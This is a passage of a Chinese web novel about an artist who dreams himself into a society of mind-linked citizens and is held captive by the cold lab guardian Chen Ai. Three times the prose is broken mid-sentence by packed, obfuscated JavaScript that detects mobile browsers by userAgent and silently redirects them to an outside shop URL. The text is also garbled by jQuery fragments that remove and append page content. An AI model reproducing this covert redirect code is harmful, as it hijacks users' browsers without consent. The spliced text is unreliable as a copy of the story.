季水风对他解释:“起源实验室是给公民做大脑进化的地方,有两位看守者,其实就是在那权限最高的两个人,一个是沉皑,另一个叫舟之覆,负责每个公民的升级确认签署。公民呢,并不是出生就可以意识交流,而是等到20岁成年,在起源实验室进行一种基因改造,改造前还有各种检查,可以执行操作的就操作,有的人天生带有不可治疾病,会被送去教化所进行改造,之后再重新评估,这类人非常少,大部分人都可以通过检测评估,然后进化,所以这个仪式,我们把它叫:成人礼。” “沉皑比舟之覆忙多了,因为他负责所有合格的人的最终确认,至少在以文明中心本部为圆心的大城区,你能见到的每个可以意识交流的人的资料,都会经过他。” 时咎终于扭头看向季水风,这个很高但面容柔和的女人,他问:“为什么告诉我这些?” 季水风直视前方,步伐不停:“你说这是你的梦,我主观上不相信这件事本身,但我相信你没撒谎。” 她对自己的能力很自信,这些都是她走到安全管理中心最高管理的资本。 她说:“如果是梦,你就不是恩德诺的公民,如果不是,你应当对这里一无所知。” 时咎沉默半晌,说:“谢谢。” 季水风笑:“你在梦里想做什么?” 时咎回答:“不知道,我不知道发生了什么,不知道为什么会到这里,现在就想到知道这些。” 话音刚落,沉皑的步子加快了,时咎被他拖得往前趔趄,手腕被硌得生疼。 在时咎心里,这个蓝眼睛的家伙跟“好人”这个形容词完全不沾边。 熟悉的操作室,沉皑就坐在监视旁,亲自盯着这一台特殊的改造,季水风也好奇结果,想知道强行连接这个人的思维后,有怎样的精彩。 但沉皑失算了。那些仪器已经全部戴上,时咎整个人都被套在了里面,但就在操作开始的时候,时咎醒了,接着,他消失了。 原地,众目睽睽,凭空消失。 这下连季水风都没忍住,她缓缓站直身体。 8. 第 8 章 时咎这一觉睡了15个小时,醒来的时候手机被打爆了,他看到时间,已经下午一点,忽然像想起了什么,迅速翻身下床,开始一边洗漱一边发语音条。 “我刚醒,等我一下,我马上弄好就出门。” 今天下午有一场展览拍卖会,里面有两样他的作品,展览馆馆长让他也务必到场。 好巧不巧,也许周末的缘故,打不到车。时咎站在路边等了一会儿,面前停下一辆小轿车,车窗摇下,露出里面的人。 “喂,上车。”是唐廷璇。 她一副了然于心的样子:“给你打电话不接我就知道你睡过去了,还专门开车来接你,看我多好。” 时咎揉下眉心,顺着她的话说:“好,全天下你最好。” 路程有些遥远,两个人在车上有一搭没一搭唠嗑,聊着聊着,时咎把最近的梦跟唐廷璇分享了一下,听完唐廷璇很惊讶:“你这是什么艺术家的梦?” 时咎无奈笑笑,耸肩:“谁知道呢?” “那位沉先生,是不是有什么人格障碍?” 时咎还认真想了一下他的各种行为表现,怀疑地说:“这种一般应该是有某种情感隔离,他有不太愿意面对的事或者情绪,但是,啧,也不太对,情感隔离是他自己感觉不到,但不是不存在,可我根本感受不到的他的情绪。” “唔,怪事。”唐廷璇评价。 到达拍卖现场时拍卖会已经开始了,两个人默默往前去了些。时间还比较刚好,这个介绍完了就轮到时咎的作品。 大屏幕上投下两组图片,一组是一副现代艺术画,一组是一个雕塑。 馆长看到时咎在下面,就招呼他上来,拍拍他的肩,语调高了些:“我应该不需要再次详尽地介绍他了?噢我看这次也有一些新面孔,我说两句。这是时咎,一位现代艺术家,如果要我给出很主观有私心的评价,这是一位对艺术有着极致感应力的、前途无量的,珍宝。” “22岁从英国皇家艺术学院艺术和信息体验设计硕士毕业,25岁取得迈阿密大学音乐治疗硕士学位,单科修读大提琴的课程回国后还举办了大提琴独奏音乐会。作品涉及的领域有:音乐、绘画、雕塑、书法等,光是我的展览馆收藏展示过的作品,都有七件了。” 台下的唐廷璇抿着唇笑,台上的时咎给了她一个眼神,眼神里写着:没那么夸张! 她微微点头:我懂!总要夸大其词有一些噱头的。 时咎喜欢有色彩感的衣服,一般穿得都时尚年轻,穿搭总会给人一种“他就是做艺术的”的感觉。白色T恤和明黄色鲜艳的工装裤,都大了半号一样挂在身上,站在台上很显眼。 “他好帅,好会穿衣服啊!” 台下有人有说话,离得太近被时咎听到了。 “这么酷,一定有男朋友吧?” 时咎:“……” 馆长介绍完他,开始让他介绍自己的作品。 时咎拿过话筒,语气平铺直叙说:“我是时咎。这是第一幅作品,叫:投影。” 是一张纯黑色的布上一个白色低音谱号,但是谱号沿着落笔的中心被割开,形成了白色在黑色中的投影,有了灰色的部分。 “我的想法在于结合视觉艺术与音乐的概念。”他语气平稳地介绍,“在20世纪末期,欧洲依然沉浸在先锋派音乐里时,极简主义音乐就已经在美国流行开。以前我经常去听极简主义作曲家们创造的乐曲,偶然,我看到美国作曲家拉蒙特扬在剧院企图给钢琴投喂食品来达到某种目的,这个怪诞的举动时,突然间联想到了索尔勒维特在奥利匹克雕塑公园创作的视觉艺术作品:很多幅色彩各异的立方体透视图。” 说到这儿,他顿了一下,又继续说道:“我小时候一直好奇宇宙维度的问题,我知道这些透视图是三维世界在二维世界的投影,所以我开始好奇如何抽象又最快从二维到达三维,就像如何让钢琴吃掉食物一样。于是就有了这个作品的想法雏形:二维布料上被划开的轮廓,一个谱号张开了嘴,一个平面模型变成了立体图,拥有了长宽高,而实现它的整个过程只需要恰到好处地划一刀,保证刀片所过之处,谱号也有了语言。” 下面的人在交头接耳,馆长满意地点头。时咎接着目光看向另一组作品,一个雕塑的全方位拍摄图:一个成年男人双手举起一个小孩。 “它叫:深眠。这个雕塑的灵感,来源于我小时候做的一个梦。” 其实那个梦他已经忘了。但当他在游学过程中,看到了藏在博尔盖塞美术馆里,来自17世纪欧洲巴洛克时期最著名的雕塑家贝尔尼尼的作品《阿波罗与黛芙妮》时,他的思绪好像一下被拉回到了一个久远的时代,而那个梦的记忆,就在那时候又浮现了。 梦里,一个很小的孩子孤独地站着,他的眼里倒映出天空的深红色,像快滴下来的血,四处都是战火与硝烟,但死亡没有降临,降临的是一位伟大的神明,他踏着永恒不灭的星光,眼里是浓烈的坚定,落地的一瞬间便将小孩举起,举过了神明自己的头顶,紧接着小孩消散于窒息的轰鸣里,神明也在原地站成了风化的雕像,如同一棵老去的月桂树。虽然和他这个雕塑作品的故事不完全一样,但是那些情绪涌上来,他感受到了炽烈的爱,在战火的漩涡里,他求而不得,他左支右绌,他狼奔豕突。 时咎的两个作品都被人拍下了,以不菲的价格。 唐廷璇在送时咎回去的路上还在感叹:“你脑子装的都是啥啊?咋那么会想呢?我怎么想不出这些稀奇古怪的东西?你妈怀你的时候吃啥了?我跟我妈商量一下看看我能重新出生不?” 闻言时咎笑出声:“还行吧。” “还行啊?要不要这样啊?旱的旱死,涝的涝死,无语。”唐廷璇翻白眼了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187300|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时咎耸肩,但对于他来说,对艺术的感知是一件非常轻松的事,他好像很轻易就能接收到来自这些抽象事物的频率,而他需要做的就是用自己的技术帮助这些本身就存在的灵魂释放出来。他学艺术相关的东西都很快,偶尔觉得自己就像在抄近道,不仅是艺术,对人的情感情绪的感知也很灵敏,但他归功于父母都是心理学研究生导师,带点遗传,也就不足为奇。 然而唐廷璇恨得牙痒痒。 接下来的几天时咎很舒适,因为没做梦,一觉大天亮,他也一直泡在图书馆,没事翻翻书,也想找些新的灵感。 我们的梦实为我们的所见、所言、所欲以及所为。——莫里 梦境的内容常常或多或少取决于做梦者的个性、年龄、性别、社会地位、教育程度和生活习惯方式,以及他之前的整个生活经历。——耶森 梦主要是我们白日里的思想与行为的残留在灵魂之中的不断涌现。——西塞罗[1] 时咎想到了一个点,最近这个梦里的世界是不是可以作为他灵感的一部分?或许说,这本身就是他的灵感,已经在潜意识里整理,再如画卷一样,从梦里向他慢慢展现出来,提醒他,它来了。 这个梦其实很有意思。思维的透明性带来的文明进步,人和人之间意识交流,这个交流是瞬时完成,也就是某种程度上,他们是利用四维在进行交流,这避免了三维世界的诸多限制。因为人们的认知受限于他们的思维与沟通方式,甚至说话的语序。时间不可逆,听说读写都必须是前后顺时发生,所以人的认知一定是有边界的,但人们却企图用有限的认知去解读无限的宇宙。 在梦中,时间也只是一个可观测可展开与收缩的维度单位,所有的交流与认知都是同时发生,人们之间没有思维的隔阂,创造便不只局限于当下的起承转合,而会拥有更加深远的意义,有更精妙的创造力。 时咎手里的笔一直在转,从某个角度看,笔身在某一刻可以挡住窗外太阳光时,甚至能用肉眼观测到一个微型凌星现象。 但当前最大的阻碍不是对这个梦信息的获取,而是—— 想到这,时咎竟觉得有些可笑,他居然需要解决梦里的人,就像一个游戏,想做某个任务还必须和NPC对话。 书没翻几页,但奇怪的是每次看弗洛依德都异常困,所以时咎也不知道到底在第几页的时候,他便趴在图书馆的书桌上睡着了。 那个幽长的隧道,那辆叫“黄粱一梦”的列车。 而那辆列车的停靠站台是一个熟悉的地点。时咎脚步刚踏出去,就很想收回来,然而如大梦初醒般,身后再没有什么列车,有的只是顶住后脑勺的枪口。 身后的人低声笑说:“又见面了。” 枪口往下挪到了手臂,一秒钟的犹豫都不曾有,时咎倒了下去。 他真的不想再在梦里睡觉了!!!操!!! 9. 第 9 章 起源实验室的监狱里,焦虑的脚步一直在四周响起,时咎朦胧睁眼,看到了对面还关着一个人。 这个监狱除了他,终于还有别人进来了吗?时咎想,但他认真一看,发现对面关的居然是江遂,那个一直在走的焦虑脚步也来自于他,而对方显然也发现他醒来了。 “啊,我,我以为你还会昏迷很久。”江遂张着嘴有些无所适从。 时咎从地上起来,揉着自己酸痛的脖子,摸到那个让他色变的脖环。 即使醒来重新进入这个梦,他的脖环还在,到底怎么回事? 时咎瞥了他一眼,不耐烦问:“你不是实验室的人吗?你怎么被抓了?” 江遂脸上露出了羞愧的神情,他结巴道:“因为我,我,我第一次独立对人进行测量,就操作失误,把一个合格的人测量成不合格,还好舟先生发现了。我,他,他关我几天,几天就可以出去了。” “哦。”时咎不关心,他站起来,走到小床上坐下,在冰冷的地板上不知道躺了多久,现在浑身难受,他拉伸了一下身体,接着说,“不合格就不合格啊,不就是送教化所?” 他记得之前谁有说过不合格会被送教化所,出来再重新评估。 江遂立刻使劲摇头,否认道:“不,不是你想的那样,虽然是会送教化所,但是,但是,其实进了教化所很难再出来,不,也不是很难出来,而是,我听说他们的考核过于严格,对人的身体,病症卡得很死,通常,进去的人再出来,就是十几年,甚至几十年。” “嗯?”时咎眼皮一跳,他突然想到了第一次和这个小男孩见面,他躺在舱室里,江遂问他还有什么话需要帮忙带到。 是这个意思啊。原来不是会死,而是那个地方,进去容易出来难。 这让时咎觉得很奇怪,怎么会呢?那是个什么地方? 但很快他没有继续想,因为他突然抓到了一个一开始就出现,却始终没有接触过的人。 “那个你们嘴里的舟先生,是什么人?”时咎问。 江遂眼睛睁大了,他的表情很吃惊,但没有多说,只是解释:“舟先生呀,他叫舟之覆,刚刚抱你来的沉先生没有跟你讲过吗?” 时咎:“……” 时咎感觉自己脸部的皮肤不受控抽了一下,牙齿都咬紧了,恨不得齿间的空气就是沉皑,他一个字一个字恨道:“又抱我来?” 江遂乖巧点头:“对呀,我还以为是哪个安保押送人进来,结果抬头,就,沉先生就抱着你,然后,呃,把你放在地上。你们应该很熟?我之前听说他在舟先生手里把你保下来了。” 时咎皱眉,“什么意思?” 进化前检测未通过的人归舟之覆管,通过的人归沉皑管,按理说,时咎该由舟之覆处理,但这个人是个多一事不如少一事的性格,遇到麻烦事就推给沉皑了。 反正起源实验室他俩平起平坐,但没想推给沉皑后,舟之覆又来了兴趣。 江遂也有些懵,他喃喃道:“你,你不知道啊?你最开始检测不合格,本来资料是要送到舟先生办公室的,结果又检测异常,这种情况没有发生过。我听说,两位都并不关心这件事,但不知怎么的,舟先生突然又觉得,你不合格就该过他那儿,让他来处理,但那会儿你已经在沉先生办公室了,舟先生过去要人,沉先生没给,两人吵了一架。” 时咎:“……” 总感觉有什么信息误差。 时咎躺了下去,把一条腿搭在另一条腿上,懒懒地说:“误会吧,我跟蓝眼睛那家伙不熟。” 江遂突然不敢说话,好半天才偷偷把时咎的话又重复了一遍:“蓝眼睛……那家伙?” 但时咎没有听到。 江遂默默消化了这个称呼,道:“可能我也想多了,毕竟,两位关系一直不好,也许就是想借你恶心对方一下。” 听到这,时咎坐起来了。 “你说他俩关系不好是什么意思?” 江遂愣住,脑子里过了万重山,他紧张地观察着监狱,确认没有别的人,但这是可以说的吗?或许……可以? 纠结片刻,江遂用一种非常小声非常八卦的语气说:“起源实验室权限最高的两位啊,舟先生一直不喜欢沉先生,我听说,沉先生明明可以做掌权者,但是他不愿意,现任掌权者请他来做起源实验室的看守者,他还是不愿意,花了很大力才把他请来。但是舟先生,他在起源实验室是从最基础的安保做起来,靠自己的能力,一路很不容易才做到现在的位置,沉先生却从来不正眼看他。” 时咎微微点头,心里了然,他问:“都是你听说的?听谁说的?” 江遂“呃”了一声:“听,舟先生自己说的。” 时咎:“……” 江遂挠挠头,继续说道:“有一次吵架他俩是在走廊吵的,啊,也不是吵架吧,舟先生单方面发泄,沉先生一直没说话,旁边的房间里全是人啊,整个走廊都是他的吼声,所有人都听到了。最后,舟先生阴阳怪气好半天,沉先生转头走了。” 看上去这舟之覆也不是什么好脾气的人。但时咎又转念一想,也不一定,沉皑这性格,有事没事把人逼疯也是可能的。 “其实舟先生,平易近人得多。”江遂想着想着又补充,眼神瞟着牢房的上方,音量也在不自觉里恢复正常,“唯一让人不适的是,他很喜欢向别人证明自己,就不停地往有更高权力的地方努力。” 江遂在某一刻链接到舟之覆的认知,他说:“我其实也能理解,就,权力的感觉,一步一步,终于站在最高峰。掌权者就是这种感觉吧。” 说着,他又甩甩头,很不好意思地说:“那个,说实话,起源实验室很少接受未成年人,但我也是通过舟先生进来的。” 时咎瞥了他一眼,微不可查地点头,放松下身子靠在墙上,漫不经心,像在自言自语般说:“但并不是不留余力向所谓的上层阶级攀爬,就能得到幸福啊。掌权本来就意味着要关乎公民的一切,不是谁满足自己利爽心的工具。这样对生命毫无敬畏之心。” 说罢,他又笑出来,补充了一句:“当然,他的理解和我不一样。” 两个你一言我一语的人都没注意到沉皑是什么时候来的,他出现的一瞬间,江遂吓得闭嘴差点咬到自己的舌头。 时咎被沉皑带走了,但是是以昏迷的状态被抱着离开。 江遂目瞪口呆,虽然但是,不是,这是不熟吗?沉先生完全可以让安保来做这些事呀? 时咎知道自己躺在一个陌生的地方,他想挣扎,但动不了,朦胧间,余光瞥见一些模糊的东西,有点像第一次出现在这里时那个玻璃舱室,那身上的或许还是双层石墨烯绳。 用力挣扎,时咎发现自己动不了。头很晕,意识还剩一些,他感觉到有什么东西在往大脑里钻,痒,很痒,很不舒服。 想离开,快点离开!时咎痛苦地想,想逃离梦境,想醒来,好难受! 这样的异常感觉持续了一些时间,直到眼前亮起来了,手脚也能动了,时咎痛苦得大汗淋漓,他睁开眼,剧烈地喘气,却看到此刻眼前的场景。 几个人站着,鸦雀无声,谁也没说话。那个送他来的人在不远处正襟危坐着,目光只看着他,旁边还有季水风。 离他最近的操作人动作已经完全僵化,他死死盯着屏幕的显示,重重吞下口腔不断不自觉分泌的口水,像鼓起了所有的勇气,转身对沉皑说:“沉先生,操作,成功了。” 沉皑颔首,从椅子上站起来,一步步往时咎的方向走过来,还没走到他身边,只听操作人呼吸不顺地接着说:“但是,进化……” “失败了。” 一滴冷汗从太阳穴流下,滴进脖子里,冰得人头皮发麻。 所有人都不敢动,安静的实验室里只能听到时咎急促的喘息。 沉皑也没反应过来,他静止站着,将这个消息来回默念了好几遍,本来想再问一遍,但一想,其实就是很简单的字面上的意思:他们的操作绝对无误,从头到尾严格按照规章完成,一切体征、数据、分析全部正常正确,连进度条到达了100% ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187301|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,都出现congratulation的字样。 但,进化失败了,时咎的意识里依然没有申请通道。 在场几个人没人敢说话。 百年来,从未有过差错,他们都害怕自己成为那个历史的转折。 连沉皑也若有所思。 死寂中,突然传来“啪”的一声,沉皑回头,看到自己刚刚坐的旁边那张桌子上,无缘无故掉下来一支笔,而那旁边并没有人,他走过去慢慢捡起笔,注视着看了一会儿,便抬头对这儿所有人说:“这件事先不要对任何人说起。” 除了点头,也没人敢有别的反应。 时咎觉得很不舒服,恶心想吐,像是大脑缺血、或是缺氧的感觉,以至于浑身都在发抖。 他不知道自己怎么离开的,他只感觉到自己身体悬空,好像有人抱他在走,但当他再睁眼的时候,他在沉皑办公室的沙发上。 不知道是又昏迷了还是被打了麻醉,也不知道已经过去多久,时咎觉得比刚刚在进化舱里好一些了,他强撑着身体坐起来,抬头对上了蓝色眼睛。 他想瞪他,但是没有太多力气,头上也一直在冒虚汗。 沉皑这次没有对他进行束缚,只是看着他略有苍白的脸和紧锁的眉头,一时间也不知道如何应对。 “去医院吧。”半晌,沉皑突然开口。因为没有出现过这样的情况,没有先行经验说明进化失败的后果和后遗症是什么,也不知道需要进行生物学干预还是只需要去医院。 或者说是……他是做梦的人,恩德诺的进化科技对他无效? 时咎咬着牙,看也懒得看对方一眼。他感受到了前所未有的挫败,这明明是他的梦境,却在梦里任人宰割。 “你在生气。”沉皑说,不是疑问,只是描述,但也没有描述后做出额外反应的意思。 时咎没回答,他捂着头心想,这不废话吗!又转念一想,无可厚非的结果。 沉皑掏出麻醉枪,时咎一下应激反应,他几乎快用尽所有力气说:“等下!你这样对我舟之覆一定会再跟你吵架的!” 沉皑:“……” 虽然有些演技拙劣,但时咎发现竟然有用,因为沉皑放下麻醉枪了。 不过,沉皑原本也没有打算要给他注射麻醉剂,他只是把枪放这儿,时咎却是先起跳了。 沉皑不紧不慢坐下,顺着时咎的话说下去:“舟之覆?原来如此。”好像终于明白了什么一样。 他笑了笑,那笑在时咎眼里只是一个表情。 他又在轻敲桌面,说:“时咎,你的命在我手上,舟之覆没有能力保住你。如果你现在愿意说实话,我可以再给你一次机会。”他的目光扫过时咎的脖环,看得时候喉头一紧,不自觉吞口水。 他好像是故意在给机会,但显然无论如何都是一个死局。 时咎不再着急解释自己认定的真相,而是岔开了话题,他张嘴,口干舌燥,考虑到现在自己的情况不太好,胡作非为也许代价很大,他第一次收起了那股无所畏惧的劲,说:“商量一下,咱以后,能不能不用麻醉剂打招呼了?” 沉皑轻轻抬头,手在麻醉枪上来回摩擦。 时咎咬牙:“喂,不是说好……” “没有说好。”沉皑打断他,“我还没同意,何况……” 何况他没确定真相,就不会解下脖环。 时咎慢慢站起来,手扶着头,他本来是想走到桌边,拍桌发火,奈何起身后发现头痛得不行,连呼吸都急促起来,他按压太阳穴,但疼痛丝毫没有缓解。他一步步朝沉皑走过去,直到手扶上那张新书桌,突然眼前一黑,便朝沉皑倒过去,企图找支撑的那一瞬间,他的手掠过什么东西,只听到“啪”的一声。 沉皑也愣住了,他本想过去扶时咎,但相框掉下桌子发出碎裂声,和时咎原地消失两件事同时发生。沉皑伸手抓了个空,相框玻璃碎一地。 GGFEFECBGG 纸张带着它上面的文字,落地。 门外响起了敲门声。 10. 第 10 章 “谁?”沉皑警觉,立刻把纸捡起来放进抽屉里。 外面传来了一个慵懒又永远无所谓的声音:“我,舟之覆。干嘛呢你?什么东西碎了?” 来得不是时候。沉皑俯身打扫碎掉的相框,一边无波澜地开口:“说。” “我听说你亲自监察了一次进化,对象是之前不合格那小孩儿。”舟之覆说得已经相当正经了,但他的声音和语调,即使正常说话,也给人一种阴阳怪气的感觉,他在外面,也没对沉皑不让他进去有任何异议。 沉皑“嗯”了一声。 说罢,想起什么似的,沉皑问:“这是你的人?” 外面安静了两秒,忽然响起一串笑声:“哈哈哈哈你才发现呢?怎么样?厉害吗?” 沉皑收拾好了地面,没有再回答他,外面的人久久得不到回复,也自讨没趣离开了。 季水风打来电话,她问这事要上报给掌权者大楼吗? 沉皑沉默一会儿,低声说:“不。” 就这样还不够,他补充道:“也不要跟任何人提起他的事。” 季水风了然。 时咎醒来的时候天已经黑了,图书馆里没几个人,白炽灯明晃晃地开着,只有翻书的声音偶尔传来,他抬头看了一下时间,21:50。 在梦里那种头痛欲裂的感觉似乎还能感受到,特别是刚刚清醒的那几秒,痛得即使醒来都心有余悸,还好很快也消失了。 时咎还书收拾东西回家,一路上都在想如何破局。路过一家便利店,他随意往里看了一眼,却看见收银台处放了一个相框,忽然间睡醒前几秒的记忆纷涌而至。 他打碎了沉皑书桌上的相框,相框上有一串字母,之前好像也看到过,G开头,没看清。 好像是密码,但会有人把密码放在那么显眼的地方? 下雨了。 雨淅淅沥地下,房间里只开了一盏台灯,显得温馨却寂寥。 晚上在图书馆睡了一觉的缘故,时咎回家后始终没睡着,便就着雨声,坐在床上看书。 窗户总是忘记关严实,所以风不停往里涌,带着呜咽,也夹杂着雨点。 在沉皑的记忆里,他从来不做梦,所以当他梦到时咎时,觉得自己可能真的想太多了。 他站在窗边,背后是绵密的雨点,前面是整个卧室。书桌上放了很多书,每一本都像被翻了无数遍,椅子上搭着几件衣服没收,地上也有几条裤子,色彩鲜艳。暖光的落地灯放在床头,刚好把床上的人照得清晰。 时咎坐着,捧着书,鼻梁上带着一副宝蓝色钻石质地边框的带链眼镜,链子搭下来,一串白色透明珠子中一颗蓝色宝石格外显眼。略长的头发梳起在头顶扎了一个很小的发髻。沉皑这才看见他的头发并不是纯黑,而是深墨灰色。大了一号的睡衣松松垮垮搭在他身上。整个人慵懒得像快入睡的豹子。 这和之前见过时咎所有的模样都不同,没有嚣张跋扈,也没有和他针锋相对,只是安静坐在那儿看书,呼吸慢慢的,安宁祥和。 这竟然是他潜意识里的,时咎真正的模样吗? 沉皑想起两个人最开始见面时,时咎问他,他说出的那句“是你?”含有什么期待。 是有期待的,但是是一个永远落空的期待。 他想见一个人,那个人和时咎很像,却不是他;记忆里的人很温柔,曾经是自己所有的愿望,却不是他。 沉皑无法理解这一幕,他认为这个梦荒唐得不轻。 他往前走了一步,不知是踩到木地板的空隙或是其他,地板很轻地“嘎吱”响了一声,他立刻停止动作。 但是时咎已经抬起头往他的方向看过来了,接着,他微不可查地皱了下眉,目光越过沉皑,看向窗外。 还在下雨,像无数终于承受不了重力坠落的、孤独的星星。 停止动作的行为让沉皑觉得自己前所未有的可笑,这只是他的一个梦,一个不可知,不可说的梦,而他在刚刚的须臾之间,竟在想如何解释自己突兀的出现。 梦是无所谓立场与真相。沉皑没动,只是站在那儿看时咎。他想,这个梦醒来就忘掉了。 渐渐的,卧室里起了雾,一层薄薄的、流动的雾,那些雾一圈一圈围着沉皑,最后集中在他的手边,他没注意,动了一下,那层雾便散了,紧接着后面的雾又靠近他的手。 准确讲这不是雾,是一层灰色的光,缓缓流动,像某种液体。此时,这些流动的晦暗光芒正围绕着时咎的房间汨汩而行。 当沉皑终于从自己的主观世界抽离,注意到这些灰色流光时,少有的,他感受到自己的呼吸停顿了两秒,那是一种企图通过生理静止来达到时间静止的无意识反应。 灰色的流光。沉皑抬起手,那些东西就慢慢围绕着他、包裹着他,像羽毛轻轻拂过皮肤。 即使微弱,但这……怎么可能? 很多年前,在自我与现实的冲突里,他就看不到这些了,所以他没有情绪,没有心情起伏,一切看似像情绪的东西,都是基于曾经的经验带给他的某种思维指示。比如某件事,人们在遇到的时候大概会出现什么反应,他就会做出相应的判断。 灰色流光,灰色情绪,都是灰色的,尽管只有几缕,此时也围绕着他,提醒他,他此时正在某种负面情绪里。 但还好只是一个不合时宜的梦。沉皑醒后就不太记得请梦里的细节了,也依然对一切都抱着冷漠的心态。 而那天夜里时咎在床上发呆到很晚没睡,只是愣愣地看着窗外。 他在想,雨落下来的时候,雨在想什么呢?那些彼此透明的人们看到彼此透明的心的时候,又会想什么呢? 时咎睡了个好觉,本以为可以一夜无梦到天明,却在即将天亮时依然进入了梦中的世界。 时咎确认了,他每次入梦的位置,都离沉皑非常近,即使是最远的那次,也依然是他的办公室垂直向下的地方,这让他有些困惑,为什么每次都是蓝眼睛那个家伙? 时咎这么想着,缓缓睁开眼,果然是这个办公室,这一次他离沉皑更近,几乎就是站在他身边。 沉皑的身手绝对不可能是一般人,好像还没站稳,那边的枪已经掏出来,准确判断了位置,一针麻醉便射进了皮肤里。 “你……”时咎还没说出话,浑身软下去。 但这次他竟然没有陷入昏迷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187302|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沉皑手快接住了时咎倒下去的身体,随即将他拖到沙发上,接着就像无事人一样坐回椅子翻阅自己的文件。 “喂!”时咎怒吼,吼完之后又有点诧异,他怎么能发出声音,不过即便如此,他全身也动不了。 沉皑换麻醉剂了,他向安全管理中心重新申请了一种可以让人思维保持清醒,但全身无法动弹的麻醉。 沉皑淡淡瞥他一眼,继续埋头。 “蓝眼睛那家伙!给我解了!” “喂!” “沉皑!” “我记住你了!” 任时咎说什么,沉皑都在专注自己的工作,直到签得差不多,他才关上文件夹,抬头,便对上时咎愤怒的眸子。 沉皑觉得有些可笑,他终于肯和时咎说话:“你做不了进化,关进监狱会跑,进行心理测谎还通过,我暂时想不出什么办法可以制服你,既然你那么喜欢突然出现在我旁边,就在旁边呆着好了。”说完竟然还露出一个挑衅的微笑。 时咎压着自己的火,瞪着沉皑。 好在上帝眷顾了他一次,这次的麻醉去得很快,他刚刚感觉到自己能动,就撑起身体站起来,一把抄起办公室里的台灯砸向沉皑。 “砰!” 台灯灯架被拦腰劈成两半,沉皑抓着其中一半,另一半滚到地面上发出剧烈的响声,沉皑低声说了一句:“时咎,你胆子真大啊。” 时咎怔在原地。 埋头的时候精确察觉到他的动向,徒手接住他的攻击,还将木头劈成两半。这个人,比他想象中恐怖。 时咎倒下去的时候还看到沉皑在擦枪。 恨! “蓝眼睛的,我不信你能一直用这招。”时咎倒在墙边说。 沉皑头也没抬:“嗯,你还剩一天时间。” 沉皑慢条斯理清理着台灯的玻璃碎片和木头屑,没有什么反应。 时咎看着他,咬牙道:“我要杀你,你不生气?” 沉皑依旧没抬头,也没情绪:“嗯。” “为什么不生气?” “为什么要生气?”沉皑坐回书桌,往文件上写了些什么,把一张纸从一摞放到了另一摞,眼睛没离开过,“你想怎样都行,只是怕你没那个本事。” 时咎:“……” 时咎:“有没有人说过你很冷漠?” “我需要对你很热情?” “我记住你了。” “请便。”沉皑表情淡淡的,语气也淡淡的,但他在看了几张后,忽然想起什么似的,站起来走到时咎身边。 时咎还以为他要做什么,企图挣扎,却发现对方只是把他从地上拖起来,架到了沙发上。 “你这个人好奇怪。”时咎说,“为什么完全没有情绪?” “有。”他说。 “我很少感受到。” “那是你的问题。” “……”时咎牙痒痒。 沉皑接到一个电话,说要出去,时咎打算趁机遁走的算盘刚掏出来,手腕便被冰冷束缚住了。 他低头一看,手铐。 沉皑嘲笑一声,神色淡然道:“我在哪,你在哪。” 11. 第 11 章 广场上人很多,但掌权者大楼很少有人出入。一个人站在大楼一楼大厅里,见沉皑进来,便往前走了几步正要开口,紧接着又愣住了。 沉皑拉着一个青年的手铐走进来,他身后的青年满脸戾气,就差把沉皑生吞。 沉皑把时咎带到大厅的角落,对他淡声道:“在这里等我,如果你敢跑,我会直接打开你的脖环。” 时咎轻哼一声:“威胁我?” 沉皑毫不避讳:“嗯。”说完他转身往大厅中央走去。 “沉先生,是掌权者让我来向您询问情况。”等着的人收敛起惊讶,公事公办地说。 沉皑冷着脸道:“秦昼永,我可以亲自跟言威说。” 秦昼永轻轻弯腰,言语间有些无奈:“是可以的,但掌权者最近也很忙,我是掌权者助理,可以替他处理一些事物,再统一向他上报。而且,我觉得沉先生可能也并没有那么想单独和掌权者面对面谈事。” 沉皑的嘴唇紧绷,没有否认他的话。 秦昼永接着说:“掌权者大楼收到安全管理中心的上报了,不过季小姐最近也有些事,所以掌权者让我直接问您,前两天的自杀事件。” “嗯。”沉皑点头,正要开口,却被身后出来的声音打断了。 “别费心问了,他知道什么呀?” 一个嚣张得阴阳怪气又慵懒的声音,沉皑连头都不回就知道是舟之覆迈着慢条斯理的脚步走过来了。 “舟先生。”秦昼永依然用他机械化的态度道。 舟之覆走到沉皑旁边,随意打量他两眼,一甩头,快及腰的长发便甩到沉皑脸上,他一边嘴角一挑,说:“哎呀!安全管理中心的事你问他啊?嘿嘿,他哪里知道,就算知道,我可是听说沉先生最近忙得很,忙着谈恋爱呢。” 听到这,沉皑冷漠地瞥他一眼。 “哎哟哟不得了,终于肯看我一眼了。”舟之覆装得大喜过望。 